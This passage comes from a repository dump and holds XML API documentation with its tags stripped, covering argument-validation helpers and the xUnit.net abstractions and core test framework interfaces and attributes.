304 | The name of the parameter to include in any thrown exception.
305 | Thrown if is null or empty.
306 |
307 |
308 |
309 | Throws an exception if the specified parameter's value is null, empty, or whitespace.
310 |
311 | The value of the argument.
312 | The name of the parameter to include in any thrown exception.
313 | Thrown if is null or empty.
314 |
315 |
316 |
317 | Throws an exception if the specified parameter's value is null,
318 | has no elements or has an element with a null value.
319 |
320 | The value of the argument.
321 | The name of the parameter to include in any thrown exception.
322 | Thrown if the tested condition is false.
323 |
324 |
325 |
326 | Throws an exception if the specified parameter's value is null,
327 | has no elements or has an element with a null value.
328 |
329 | The type of the elements in the sequence.
330 | The value of the argument.
331 | The name of the parameter to include in any thrown exception.
332 | Thrown if the tested condition is false.
333 |
334 |
335 |
336 | Throws an exception if the specified parameter's value is not null
337 | and has an element with a null value.
338 |
339 | The type of the elements in the sequence.
340 | The value of the argument.
341 | The name of the parameter to include in any thrown exception.
342 | Thrown if the tested condition is false.
343 |
344 |
345 |
346 | Throws an if a condition does not evaluate to true.
347 |
348 |
349 |
350 |
351 | Throws an if a condition does not evaluate to true.
352 |
353 | Nothing. This method always throws.
354 |
355 |
356 |
357 | Throws an if the specified value
358 | is not defined by the enum type.
359 |
360 | The type of enum the is constrained to be defined within.
361 | The value that must be defined in .
362 | The name of the parameter that supplied the .
363 |
364 |
365 |
366 | Throws an ArgumentException if a condition does not evaluate to true.
367 |
368 |
369 |
370 |
371 | Throws an ArgumentException if a condition does not evaluate to true.
372 |
373 |
374 |
375 |
376 | Throws an ArgumentException if a condition does not evaluate to true.
377 |
378 |
379 |
380 |
381 | Throws an ArgumentException if a condition does not evaluate to true.
382 |
383 |
384 |
385 |
386 | Validates some expression describing the acceptable condition for an argument evaluates to true.
387 |
388 | The expression that must evaluate to true to avoid an .
389 | Name of the parameter.
390 | The unformatted message.
391 | Formatting arguments.
392 |
393 |
394 |
395 | Validates some expression describing the acceptable condition for an argument evaluates to true.
396 |
397 | The expression that must evaluate to true to avoid an .
398 | The message to include with the exception.
399 |
400 |
401 |
402 | Throws an ArgumentException.
403 |
404 | Nothing. It always throws.
405 |
406 |
407 |
408 | Throws an ArgumentException.
409 |
410 | Nothing. It always throws.
411 |
412 |
413 |
414 | Throws an ArgumentException.
415 |
416 | Nothing. This method always throws. But the signature allows calling code to "throw" this method for C# syntax reasons.
417 |
418 |
419 |
420 | Helper method that formats string arguments.
421 |
422 | The formatted string.
423 |
424 |
425 |
426 | A strongly-typed resource class, for looking up localized strings, etc.
427 |
428 |
429 |
430 |
431 | Returns the cached ResourceManager instance used by this class.
432 |
433 |
434 |
435 |
436 | Overrides the current thread's CurrentUICulture property for all
437 | resource lookups using this strongly typed resource class.
438 |
439 |
440 |
441 |
442 | Looks up a localized string similar to '{0}' must contain at least one element..
443 |
444 |
445 |
446 |
447 | Looks up a localized string similar to '{0}' cannot be an empty string ("") or start with the null character..
448 |
449 |
450 |
451 |
452 | Looks up a localized string similar to '{0}' must be set to a value defined by the enum '{1}'..
453 |
454 |
455 |
456 |
457 | Looks up a localized string similar to '{0}' cannot contain a null (Nothing in Visual Basic) element..
458 |
459 |
460 |
461 |
462 | Looks up a localized string similar to The parameter "{0}" cannot consist entirely of white space characters..
463 |
464 |
465 |
466 |
467 | Looks up a localized string similar to An internal error occurred. Please contact customer support..
468 |
469 |
470 |
471 |
472 | Looks up a localized string similar to Cannot find an instance of the {0} service..
473 |
474 |
475 |
476 |
477 | Indicates to Code Analysis that a method validates a particular parameter.
478 |
479 |
480 |
481 |
482 | Initializes a new instance of the class.
483 |
484 |
485 |
486 |
487 | Common runtime checks that throw exceptions upon failure.
488 |
489 |
490 |
491 |
492 | Throws an if a condition is false.
493 |
494 |
495 |
496 |
497 | Throws an if a condition is false.
498 |
499 |
500 |
501 |
502 | Throws an if a condition is false.
503 |
504 |
505 |
506 |
507 | Throws an if a condition is false.
508 |
509 |
510 |
511 |
512 | Throws an .
513 |
514 |
515 | Nothing. This method always throws.
516 | The signature claims to return an exception to allow callers to throw this method
517 | to satisfy C# execution path constraints.
518 |
519 |
520 |
521 |
522 | Throws an if an object is disposed.
523 |
524 |
525 |
526 |
527 | Throws an if a condition is false.
528 |
529 |
530 |
531 |
532 | Throws an if a condition is false.
533 |
534 |
535 |
536 |
537 |
--------------------------------------------------------------------------------
/src/Koppeling/xunit.abstractions.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | xunit.abstractions
5 |
6 |
7 |
8 |
9 | Represents source information about a test case.
10 |
11 |
12 |
13 |
14 | Interface implement by objects that want to support serialization in xUnit.net.
15 |
16 |
17 |
18 |
19 | Called when the object should populate itself with data from the serialization info.
20 |
21 | The info to get the data from
22 |
23 |
24 |
25 | Called when the object should store its data into the serialization info.
26 |
27 | The info to store the data in
28 |
29 |
30 |
31 | Gets or sets the source file name. A null value indicates that the
32 | source file name is not known.
33 |
34 |
35 |
36 |
37 | Gets or sets the source file line. A null value indicates that the
38 | source file line is not known.
39 |
40 |
41 |
42 |
43 | Represents a provider which gives source line information for a test case. Generally
44 | consumed by an implementation of during Find operations.
45 |
46 |
47 |
48 |
49 | Returns the source information for a test case.
50 |
51 | The test case to retrieve information for.
52 | The source information, with null string and int values when the information is not available.
53 | Note: return value should never be null, only the interior data values inside.
54 |
55 |
56 |
57 | Represents a test framework. There are two pieces to test frameworks: discovery and
58 | execution. The two factory methods represent these two pieces. Test frameworks can
59 | implement an empty constructor, or they can implement one that takes
60 | if they want to be able to send diagnostic messages.
61 |
62 |
63 |
64 |
65 | Get a test discoverer.
66 |
67 | The assembly from which to discover the tests.
68 | The test discoverer.
69 |
70 |
71 |
72 | Get a test executor.
73 |
74 | The name of the assembly to run tests from.
75 | The test executor.
76 |
77 |
78 |
79 | Sets the source information provider to be used during discovery.
80 |
81 |
82 |
83 |
84 | Represents an implementation of the discovery part of a test framework.
85 |
86 |
87 |
88 |
89 | Starts the process of finding all tests in an assembly.
90 |
91 | Whether to include source file information, if possible.
92 | The message sink to report results back to.
93 | The options used by the test framework during discovery.
94 |
95 |
96 |
97 | Starts the process of finding all tests in a class.
98 |
99 | The fully qualified type name to find tests in.
100 | Whether to include source file information, if possible.
101 | The message sink to report results back to.
102 | The options used by the test framework during discovery.
103 |
104 |
105 |
106 | Serializes a test case into string form.
107 |
108 | The test case to be serialized.
109 | The serialized representation of the test case.
110 |
111 |
112 |
113 | Gets the target framework that the test assembly is linked against.
114 |
115 |
116 |
117 |
118 | Returns the display name of the test framework that this discoverer is running tests for.
119 |
120 |
121 |
122 |
123 | Represents an instance of that is to be used for
124 | test discovery purposes.
125 |
126 |
127 |
128 |
129 | This interface should not be consumed directly; instead, you should
130 | consume
131 | or .
132 |
133 |
134 |
135 |
136 | Gets an option value.
137 |
138 | The type of the value.
139 | The name of the value.
140 | The value.
141 |
142 |
143 |
144 | Sets an option value.
145 |
146 | The type of the value.
147 | The name of the value.
148 | The value to be set.
149 |
150 |
151 |
152 | Represents an instance of that is to be used for
153 | test execution purposes.
154 |
155 |
156 |
157 |
158 | Represents an implementation of the execution part of a test framework.
159 |
160 |
161 |
162 |
163 | De-serializes a test case.
164 |
165 | The string representation of the test case.
166 | The de-serialized test case.
167 |
168 |
169 |
170 | Starts the process of running all the tests in the assembly.
171 |
172 | The message sink to report results back to.
173 | The options to be used during test discovery.
174 | The options to be used during test execution.
175 |
176 |
177 |
178 | Starts the process of running selected tests in the assembly.
179 |
180 | The test cases to run.
181 | The message sink to report results back to.
182 | The options to be used during test execution.
183 |
184 |
185 |
186 | Base message interface for all messages related to test execution. It includes the list
187 | of test cases that are associated with this execution step.
188 |
189 |
190 |
191 |
192 | This is the base interface for all test messages. A test message is a message that is
193 | used to communicate the status of discovery and execution of tests.
194 |
195 |
196 |
197 |
198 | The test cases that are associated with this message.
199 |
200 |
201 |
202 |
203 | This represents failure information for the test runner. It encapsulates multiple sets
204 | of exceptions so that it can provide inner exception information, including support for
205 | . The parent indices indicate the hierarchy of the exceptions
206 | as extracted during the failure; the 0th exception is always the single parent of the tree,
207 | and will have an index of -1.
208 |
209 |
210 |
211 |
212 | The fully-qualified type name of the exceptions.
213 |
214 |
215 |
216 |
217 | The messages of the exceptions.
218 |
219 |
220 |
221 |
222 | The stack traces of the exceptions.
223 |
224 |
225 |
226 |
227 | The parent exception index for the exceptions; a -1 indicates that
228 | the exception in question has no parent.
229 |
230 |
231 |
232 |
233 | This is the base message for various types of completion that can occur during the
234 | various phases of execution process (e.g., test case, test class, test collection,
235 | and assembly).
236 |
237 |
238 |
239 |
240 | The execution time (in seconds) for this execution.
241 |
242 |
243 |
244 |
245 | The number of failing tests.
246 |
247 |
248 |
249 |
250 | The total number of tests run.
251 |
252 |
253 |
254 |
255 | The number of skipped tests.
256 |
257 |
258 |
259 |
260 | Represents an endpoint for the reception of test messages.
261 |
262 |
263 |
264 |
265 | Reports the presence of a message on the message bus. This method should
266 | never throw exceptions.
267 |
268 | The message from the message bus
269 | Return true to continue running tests, or false to stop.
270 |
271 |
272 |
273 | Base message interface for all messages related to test assemblies.
274 |
275 |
276 |
277 |
278 | The test assembly that is associated with this message.
279 |
280 |
281 |
282 |
283 | Base message interface for all messages related to test cases.
284 |
285 |
286 |
287 |
288 | Base message interface for all messages related to test methods.
289 |
290 |
291 |
292 |
293 | Base message interface for all messages related to test classes.
294 |
295 |
296 |
297 |
298 | Base message interface for all messages related to test collections.
299 |
300 |
301 |
302 |
303 | The test collection that is associated with this message.
304 |
305 |
306 |
307 |
308 | The test class that is associated with this message.
309 |
310 |
311 |
312 |
313 | The test method that is associated with this message.
314 |
315 |
316 |
317 |
318 | The test case that is associated with this message.
319 |
320 |
321 |
322 |
323 | Base message interface for all messages related to tests.
324 |
325 |
326 |
327 |
328 | The test that is associated with this message.
329 |
330 |
331 |
332 |
333 | This is the base interface for all individual test results (e.g., tests which
334 | pass, fail, or are skipped).
335 |
336 |
337 |
338 |
339 | The execution time of the test, in seconds.
340 |
341 |
342 |
343 |
344 | The captured output of the test.
345 |
346 |
347 |
348 |
349 | This message is sent during execution to indicate that the After method of
350 | a has completed executing.
351 |
352 |
353 |
354 |
355 | The fully qualified type name of the .
356 |
357 |
358 |
359 |
360 | This message is sent during execution to indicate that the After method of
361 | a is about to execute.
362 |
363 |
364 |
365 |
366 | The fully qualified type name of the .
367 |
368 |
369 |
370 |
371 | This message is sent during execution to indicate that the Before method of
372 | a has completed executing.
373 |
374 |
375 |
376 |
377 | The fully qualified type name of the .
378 |
379 |
380 |
381 |
382 | This message is sent during execution to indicate that the Before method of
383 | a is about to execute.
384 |
385 |
386 |
387 |
388 | The fully qualified type name of the .
389 |
390 |
391 |
392 |
393 | This message is sent when the test framework wants to report a diagnostic message
394 | to the end user.
395 |
396 |
397 |
398 |
399 | Gets the diagnostic message.
400 |
401 |
402 |
403 |
404 | This message indicates that the discovery process has been completed for
405 | the requested assembly.
406 |
407 |
408 |
409 |
410 | This message indicates that an error has occurred in the execution process.
411 |
412 |
413 |
414 |
415 | This message indicates that an error has occurred in test assembly cleanup.
416 |
417 |
418 |
419 |
420 | This message indicates that the execution process has been completed for
421 | the requested assembly.
422 |
423 |
424 |
425 |
426 | This message indicates that the execution process is about to start for
427 | the requested assembly.
428 |
429 |
430 |
431 |
432 | Gets the local date and time when the test assembly execution began.
433 |
434 |
435 |
436 |
437 | Gets a display string that describes the test execution environment.
438 |
439 |
440 |
441 |
442 | Gets a display string which describes the test framework and version number.
443 |
444 |
445 |
446 |
447 | This message indicates that an error has occurred during test case cleanup.
448 |
449 |
450 |
451 |
452 | This message indicates that a test case had been found during the discovery process.
453 |
454 |
455 |
456 |
457 | This message indicates that a test case has finished executing.
458 |
459 |
460 |
461 |
462 | This message indicates that a test case is about to start executing.
463 |
464 |
465 |
466 |
467 | This message indicates that an error has occurred during test class cleanup.
468 |
469 |
470 |
471 |
472 | This message indicates that an instance of a test class has just been constructed.
473 | Instance (non-static) methods of tests get a new instance of the test class for each
474 | individual test execution; static methods do not get an instance of the test class.
475 |
476 |
477 |
478 |
479 | This message indicates that an instance of a test class is about to be constructed.
480 | Instance (non-static) methods of tests get a new instance of the test class for each
481 | individual test execution; static methods do not get an instance of the test class.
482 |
483 |
484 |
485 |
486 | This message indicates that the method was
487 | just called on the test class for the test case that just finished executing.
488 |
489 |
490 |
491 |
492 | This message indicates that the method is
493 | about to be called on the test class for the test case that just finished executing.
494 |
495 |
496 |
497 |
498 | This message indicates that a test class has finished executing (meaning, all of the
499 | test cases in this test class have finished running).
500 |
501 |
502 |
503 |
504 | This message indicates that a test class is about to begin running.
505 |
506 |
507 |
508 |
509 | This message indicates that an error has occurred during test cleanup.
510 |
511 |
512 |
513 |
514 | This message indicates that an error has occurred during test collection cleanup.
515 |
516 |
517 |
518 |
519 | This message indicates that a test collection has just finished executing (meaning,
520 | all the test classes in the collection has finished).
521 |
522 |
523 |
524 |
525 | This message indicates that a test collection has is about to start executing.
526 |
527 |
528 |
529 |
530 | This message indicates that a test has failed.
531 |
532 |
533 |
534 |
535 | This message indicates that a test has finished executing.
536 |
537 |
538 |
539 |
540 | Gets the time spent executing the test, in seconds.
541 |
542 |
543 |
544 |
545 | The captured output of the test.
546 |
547 |
548 |
549 |
550 | This message indicates that an error has occurred during test method cleanup.
551 |
552 |
553 |
554 |
555 | This message indicates that a test method has finished executing (meaning, all
556 | the test cases that derived from the test method have finished).
557 |
558 |
559 |
560 |
561 | This message indicates that a test method is about to begin executing.
562 |
563 |
564 |
565 |
566 | This message indicates that a line of output was provided for a test.
567 |
568 |
569 |
570 |
571 | Gets the line of output.
572 |
573 |
574 |
575 |
576 | Indicates that a test has passed.
577 |
578 |
579 |
580 |
581 | This message indicates that a test was skipped.
582 |
583 |
584 |
585 |
586 | The reason given for skipping the test.
587 |
588 |
589 |
590 |
591 | This message indicates that a test is about to start executing.
592 |
593 |
594 |
595 |
596 | Represents information about an assembly. The primary implementation is based on runtime
597 | reflection, but may also be implemented by runner authors to provide non-reflection-based
598 | test discovery (for example, AST-based runners like CodeRush or Resharper).
599 |
600 |
601 |
602 |
603 | Gets all the custom attributes for the given assembly.
604 |
605 | The type of the attribute, in assembly-qualified form
606 | The matching attributes that decorate the assembly
607 |
608 |
609 |
610 | Gets a for the given type.
611 |
612 | The fully qualified type name.
613 | The if the type exists, or null if not.
614 |
615 |
616 |
617 | Gets all the types for the assembly.
618 |
619 | Set to true to return all types in the assembly,
620 | or false to return only public types.
621 | The types in the assembly.
622 |
623 |
624 |
625 | Gets the on-disk location of the assembly under test. If the assembly path is not
626 | known (for example, in AST-based runners), you must return null.
627 |
628 |
629 | This is used by the test framework wrappers to find the co-located unit test framework
630 | assembly (f.e., xunit.dll or xunit.execution.dll). AST-based runners will need to directly create
631 | instances of and (using the constructors that
632 | support an explicit path to the test framework DLL) rather than relying on the
633 | use of .
634 |
635 |
636 |
637 |
638 | Gets the assembly name. May return a fully qualified name for assemblies found via
639 | reflection (i.e., "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"),
640 | or may return just assembly name only for assemblies found via source code introspection
641 | (i.e., "mscorlib").
642 |
643 |
644 |
645 |
646 | Represents information about an attribute. The primary implementation is based on runtime
647 | reflection, but may also be implemented by runner authors to provide non-reflection-based
648 | test discovery (for example, AST-based runners like CodeRush or Resharper).
649 |
650 |
651 |
652 |
653 | Gets the arguments passed to the constructor.
654 |
655 | The constructor arguments, in order
656 |
657 |
658 |
659 | Gets all the custom attributes for the given attribute.
660 |
661 | The type of the attribute to find, in assembly-qualified form
662 | The matching attributes that decorate the attribute
663 |
664 |
665 |
666 | Gets a named-argument initialized value of the attribute. If there is no named argument for the given name
667 | on this attribute, then returns default(TValue).
668 |
669 | The type of the argument
670 | The name of the argument
671 | The argument value
672 |
673 |
674 |
675 | Represents information about a method. The primary implementation is based on runtime
676 | reflection, but may also be implemented by runner authors to provide non-reflection-based
677 | test discovery (for example, AST-based runners like CodeRush or Resharper).
678 |
679 |
680 |
681 |
682 | Gets all the custom attributes for the method that are of the given type.
683 |
684 | The type of the attribute, in assembly qualified form
685 | The matching attributes that decorate the method
686 |
687 |
688 |
689 | Gets the types of the generic arguments for generic methods.
690 |
691 | The argument types.
692 |
693 |
694 |
695 | Gets information about the parameters to the method.
696 |
697 | The method's parameters.
698 |
699 |
700 |
701 | Converts an open generic method into a closed generic method, using the provided type arguments.
702 |
703 | The type arguments to be used in the generic definition.
704 | A new that represents the closed generic method.
705 |
706 |
707 |
708 | Gets a value indicating whether the method is abstract.
709 |
710 |
711 |
712 |
713 | Gets a value indicating whether the method is a generic definition (i.e., an open generic).
714 |
715 |
716 |
717 |
718 | Gets a value indicating whether the method is public.
719 |
720 |
721 |
722 |
723 | Gets a value indicating whether the method is static.
724 |
725 |
726 |
727 |
728 | Gets the name of the method.
729 |
730 |
731 |
732 |
733 | Gets the fully qualified type name of the return type.
734 |
735 |
736 |
737 |
738 | Gets a value which represents the class that this method was
739 | reflected from (i.e., equivalent to MethodInfo.ReflectedType)
740 |
741 |
742 |
743 |
744 | Represents information about a method parameter. The primary implementation is based on runtime
745 | reflection, but may also be implemented by runner authors to provide non-reflection-based
746 | test discovery (for example, AST-based runners like CodeRush or Resharper).
747 |
748 |
749 |
750 |
751 | The name of the parameter.
752 |
753 |
754 |
755 |
756 | Gets the type of the parameter.
757 |
758 |
759 |
760 |
761 | Represents a reflection-backed implementation of .
762 |
763 |
764 |
765 |
766 | Gets the underlying for the assembly.
767 |
768 |
769 |
770 |
771 | Represents a reflection-backed implementation of .
772 |
773 |
774 |
775 |
776 | Gets the instance of the attribute, if available.
777 |
778 |
779 |
780 |
781 | Represents a reflection-backed implementation of .
782 |
783 |
784 |
785 |
786 | Gets the underlying for the method.
787 |
788 |
789 |
790 |
791 | Represents a reflection-backed implementation of .
792 |
793 |
794 |
795 |
796 | Gets the underlying for the parameter.
797 |
798 |
799 |
800 |
801 | Represents a reflection-backed implementation of .
802 |
803 |
804 |
805 |
806 | Represents information about a type. The primary implementation is based on runtime
807 | reflection, but may also be implemented by runner authors to provide non-reflection-based
808 | test discovery (for example, AST-based runners like CodeRush or Resharper).
809 |
810 |
811 |
812 |
813 | Gets all the custom attributes for the given type.
814 |
815 | The type of the attribute, in assembly qualified form
816 | The matching attributes that decorate the type
817 |
818 |
819 |
820 | Gets the generic type arguments for a generic type.
821 |
822 | The list of generic types.
823 |
824 |
825 |
826 | Gets a specific method.
827 |
828 | The name of the method.
829 | Set to true to look for the method in both public and private.
830 | The method.
831 |
832 |
833 |
834 | Gets all the methods in this type.
835 |
836 | Set to true to return all methods in the type,
837 | or false to return only public methods.
838 |
839 |
840 |
841 | Gets the assembly this type is located in.
842 |
843 |
844 |
845 |
846 | Gets the base type of the given type.
847 |
848 |
849 |
850 |
851 | Gets the interfaces implemented by the given type.
852 |
853 |
854 |
855 |
856 | Gets a value indicating whether the type is abstract.
857 |
858 |
859 |
860 |
861 | Gets a value indicating whether the type represents a generic parameter.
862 |
863 |
864 |
865 |
866 | Gets a value indicating whether the type is a generic type.
867 |
868 |
869 |
870 |
871 | Gets a value indicating whether the type is sealed.
872 |
873 |
874 |
875 |
876 | Gets a value indicating whether the type is a value type.
877 |
878 |
879 |
880 |
881 | Gets the fully qualified type name (for non-generic parameters), or the
882 | simple type name (for generic parameters).
883 |
884 |
885 |
886 |
887 | Gets the underlying object.
888 |
889 |
890 |
891 |
892 | Represents serialization support in xUnit.net.
893 |
894 |
895 |
896 |
897 | Adds a value to the serialization. Supported value types include the built-in
898 | intrinsics (string, int, long, float, double, and decimal, including nullable
899 | versions of those), any class which implements ),
900 | or arrays of any supported types.
901 |
902 | The key
903 | The value
904 | The optional type of the value
905 |
906 |
907 |
908 | Gets a value from the serialization.
909 |
910 | The key
911 | The type of the value
912 | The value, if present; null, otherwise
913 |
914 |
915 |
916 | Gets a value from the serialization.
917 |
918 | The key
919 | The value, if present; default(T), otherwise
920 |
921 |
922 |
923 | Represents a single test in the system. A test case typically contains only a single test,
924 | but may contain many if circumstances warrant it (for example, test data for a theory cannot
925 | be pre-enumerated, so the theory yields a single test case with multiple tests).
926 |
927 |
928 |
929 |
930 | Gets the display name of the test.
931 |
932 |
933 |
934 |
935 | Gets the test case this test belongs to.
936 |
937 |
938 |
939 |
940 | Represents a test assembly.
941 |
942 |
943 |
944 |
945 | Gets the assembly that this test assembly belongs to.
946 |
947 |
948 |
949 |
950 | Gets the full path of the configuration file name, if one is present.
951 | May be null if there is no configuration file.
952 |
953 |
954 |
955 |
956 | Represents a single test case in the system. This test case usually represents a single test, but in
957 | the case of dynamically generated data for data driven tests, the test case may actually return
958 | multiple results when run.
959 |
960 |
961 |
962 |
963 | Gets the display name of the test case.
964 |
965 |
966 |
967 |
968 | Gets the display text for the reason a test is being skipped; if the test
969 | is not skipped, returns null.
970 |
971 |
972 |
973 |
974 | Get or sets the source file name and line where the test is defined, if requested (and known).
975 |
976 |
977 |
978 |
979 | Gets the test method this test case belongs to.
980 |
981 |
982 |
983 |
984 | Gets the arguments that will be passed to the test method.
985 |
986 |
987 |
988 |
989 | Gets the trait values associated with this test case. If
990 | there are none, or the framework does not support traits,
991 | this should return an empty dictionary (not null). This
992 | dictionary must be treated as read-only.
993 |
994 |
995 |
996 |
997 | Gets a unique identifier for the test case.
998 |
999 |
1000 | The unique identifier for a test case should be able to discriminate
1001 | among test cases, even those which are varied invocations against the
1002 | same test method (i.e., theories). Ideally, this identifier would remain
1003 | stable until such time as the developer changes some fundamental part
1004 | of the identity (assembly, class name, test name, or test data); however,
1005 | the minimum stability of the identifier must at least extend across
1006 | multiple discoveries of the same test in the same (non-recompiled)
1007 | assembly.
1008 |
1009 |
1010 |
1011 |
1012 | Represents a test class.
1013 |
1014 |
1015 |
1016 |
1017 | Gets the class that this test case is attached to.
1018 |
1019 |
1020 |
1021 |
1022 | Gets the test collection this test case belongs to.
1023 |
1024 |
1025 |
1026 |
1027 | Represents a group of test cases. Test collections form the basis of the parallelization in
1028 | xUnit.net. Test cases which are in the same test collection will not be run in parallel
1029 | against sibling tests, but will run in parallel against tests in other collections.
1030 |
1031 |
1032 |
1033 |
1034 | Gets the type that the test collection was defined with, if available; may be null
1035 | if the test collection didn't have a definition type.
1036 |
1037 |
1038 |
1039 |
1040 | Gets the display name of the test collection.
1041 |
1042 |
1043 |
1044 |
1045 | Gets the test assembly this test collection belongs to.
1046 |
1047 |
1048 |
1049 |
1050 | Gets the test collection ID. Test collection equality is determined by comparing IDs.
1051 |
1052 |
1053 |
1054 |
1055 | Represents a test method.
1056 |
1057 |
1058 |
1059 |
1060 | Gets the method associated with this test method.
1061 |
1062 |
1063 |
1064 |
1065 | Gets the test class that this test method belongs to.
1066 |
1067 |
1068 |
1069 |
1070 | Represents a class which can be used to provide test output.
1071 |
1072 |
1073 |
1074 |
1075 | Adds a line of text to the output.
1076 |
1077 | The message
1078 |
1079 |
1080 |
1081 | Formats a line of text and adds it to the output.
1082 |
1083 | The message format
1084 | The format arguments
1085 |
1086 |
1087 |
1088 |
--------------------------------------------------------------------------------
/src/Koppeling/xunit.core.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | xunit.core
5 |
6 |
7 |
8 |
9 | Attribute used to decorate an assembly with arbitrary name/value pairs ("traits").
10 |
11 |
12 |
13 |
14 | Creates a new instance of the class.
15 |
16 | The trait name
17 | The trait value
18 |
19 |
20 |
21 | Provides a data source for a data theory, with the data coming from a class
22 | which must implement IEnumerable<object[]>.
23 | Caution: the property is completely enumerated by .ToList() before any test is run. Hence it should return independent object sets.
24 |
25 |
26 |
27 |
28 | Initializes a new instance of the class.
29 |
30 | The class that provides the data.
31 |
32 |
33 |
34 | Gets the type of the class that provides the data.
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | Used to declare a specific test collection for a test class.
43 |
44 |
45 |
46 |
47 | Initializes a new instance of the class.
48 |
49 | The test collection name.
50 |
51 |
52 |
53 | Defines the built-in behavior types for collections in xUnit.net.
54 |
55 |
56 |
57 |
58 | By default, generates a collection per assembly, and any test classes that are not
59 | decorated with will be placed into the assembly-level
60 | collection.
61 |
62 |
63 |
64 |
65 | By default, generates a collection per test class for any test classes that are not
66 | decorated with .
67 |
68 |
69 |
70 |
71 | Used to declare the default test collection behavior for the assembly.
72 |
73 |
74 |
75 |
76 | Initializes a new instance of the class.
77 |
78 |
79 |
80 |
81 | Initializes a new instance of the class.
82 |
83 | The collection behavior for the assembly.
84 |
85 |
86 |
87 | Initializes a new instance of the class.
88 |
89 | The type name of the test collection factory (that implements ).
90 | The assembly that exists in.
91 |
92 |
93 |
94 | Determines whether tests in this assembly are run in parallel.
95 |
96 |
97 |
98 |
99 | Determines how many tests can run in parallel with each other. If set to 0, the system will
100 | use . If set to a negative number, then there will
101 | be no limit to the number of threads.
102 |
103 |
104 |
105 |
106 | Used to declare a test collection container class. The container class gives
107 | developers a place to attach interfaces like and
108 | that will be applied to all tests classes
109 | that are members of the test collection.
110 |
111 |
112 |
113 |
114 | Initializes a new instance of the class.
115 |
116 | The test collection name.
117 |
118 |
119 |
120 | Determines whether tests in this collection runs in parallel with any other collections.
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 | Attribute that is applied to a method to indicate that it is a fact that should be run
135 | by the test runner. It can also be extended to support a customized definition of a
136 | test method.
137 |
138 |
139 |
140 |
141 | Gets the name of the test to be used when the test is skipped. Defaults to
142 | null, which will cause the fully qualified test name to be used.
143 |
144 |
145 |
146 |
147 | Marks the test so that it will not be run, and gets or sets the skip reason
148 |
149 |
150 |
151 |
152 | Marks the test as having a timeout, and gets or sets the timeout (in milliseconds).
153 | WARNING: Using this with parallelization turned on will result in undefined behavior.
154 | Timeout is only supported when parallelization is disabled, either globally or with
155 | a parallelization-disabled test collection.
156 |
157 |
158 |
159 |
160 | Used to provide asynchronous lifetime functionality. Currently supported:
161 | - Test classes
162 | - Classes used in
163 | - Classes used in .
164 |
165 |
166 |
167 |
168 | Called immediately after the class has been created, before it is used.
169 |
170 |
171 |
172 |
173 | Called when an object is no longer needed. Called just before
174 | if the class also implements that.
175 |
176 |
177 |
178 |
179 | Used to decorate xUnit.net test classes and collections to indicate a test which has
180 | per-test-class fixture data. An instance of the fixture data is initialized just before
181 | the first test in the class is run, and if it implements IDisposable, is disposed
182 | after the last test in the class is run. To gain access to the fixture data from
183 | inside the test, a constructor argument should be added to the test class which
184 | exactly matches the . Class fixtures must have a
185 | single parameterless constructor, and may take collection fixture types as constructor
186 | arguments.
187 |
188 | The type of the fixture.
189 |
190 | If asynchronous setup of is required
191 | it should implement the interface.
192 |
193 |
194 |
195 |
196 | Used to decorate xUnit.net test classes and collections to indicate a test which has
197 | per-test-collection fixture data. An instance of the fixture data is initialized just before
198 | the first test in the collection is run, and if it implements IDisposable, is disposed
199 | after the last test in the collection is run. To gain access to the fixture data from
200 | inside the test, a constructor argument should be added to the test class which
201 | exactly matches the .
202 |
203 | The type of the fixture.
204 |
205 | If asynchronous setup of is required
206 | it should implement the interface.
207 |
208 |
209 |
210 |
211 | Provides a data source for a data theory, with the data coming from inline values.
212 |
213 |
214 |
215 |
216 | Initializes a new instance of the class.
217 |
218 | The data values to pass to the theory.
219 |
220 |
221 |
222 |
223 |
224 |
225 | A class implements this interface to participate in ordering tests
226 | for the test runner. Test collection orderers are applied using the
227 | , which can be applied at
228 | the assembly level.
229 |
230 |
231 |
232 |
233 | Orders test collections for execution.
234 |
235 | The test collections to be ordered.
236 | The test collections in the order to be run.
237 |
238 |
239 |
240 | Provides a data source for a data theory, with the data coming from one of the following sources:
241 | 1. A static property
242 | 2. A static field
243 | 3. A static method (with parameters)
244 | The member must return something compatible with IEnumerable<object[]> with the test data.
245 | Caution: the property is completely enumerated by .ToList() before any test is run. Hence it should return independent object sets.
246 |
247 |
248 |
249 |
250 | Initializes a new instance of the class.
251 |
252 | The name of the public static member on the test class that will provide the test data
253 | The parameters for the member (only supported for methods; ignored for everything else)
254 |
255 |
256 |
257 |
258 |
259 |
260 | Provides a base class for attributes that will provide member data. The member data must return
261 | something compatible with .
262 | Caution: the property is completely enumerated by .ToList() before any test is run. Hence it should return independent object sets.
263 |
264 |
265 |
266 |
267 | Initializes a new instance of the class.
268 |
269 | The name of the public static member on the test class that will provide the test data
270 | The parameters for the member (only supported for methods; ignored for everything else)
271 |
272 |
273 |
274 | Returns true if the data attribute wants to skip enumerating data during discovery.
275 | This will cause the theory to yield a single test case for all data, and the data discovery
276 | will be during test execution instead of discovery.
277 |
278 |
279 |
280 |
281 | Gets the member name.
282 |
283 |
284 |
285 |
286 | Gets or sets the type to retrieve the member from. If not set, then the property will be
287 | retrieved from the unit test class.
288 |
289 |
290 |
291 |
292 | Gets or sets the parameters passed to the member. Only supported for static methods.
293 |
294 |
295 |
296 |
297 |
298 |
299 |
300 | Converts an item yielded by the data member to an object array, for return from .
301 |
302 | The method that is being tested.
303 | An item yielded from the data member.
304 | An suitable for return from .
305 |
306 |
307 |
308 | Allows the user to record actions for a test.
309 |
310 |
311 |
312 |
313 | Records any exception which is thrown by the given code.
314 |
315 | The code which may throw an exception.
316 | Returns the exception that was thrown by the code; null, otherwise.
317 |
318 |
319 |
320 | Records any exception which is thrown by the given code that has
321 | a return value. Generally used for testing property accessors.
322 |
323 | The code which may throw an exception.
324 | Returns the exception that was thrown by the code; null, otherwise.
325 |
326 |
327 |
328 |
329 |
330 |
331 | Records any exception which is thrown by the given task.
332 |
333 | The task which may throw an exception.
334 | Returns the exception that was thrown by the code; null, otherwise.
335 |
336 |
337 |
338 |
339 |
340 |
341 | The implementation of which returns the trait values
342 | for .
343 |
344 |
345 |
346 |
347 |
348 |
349 |
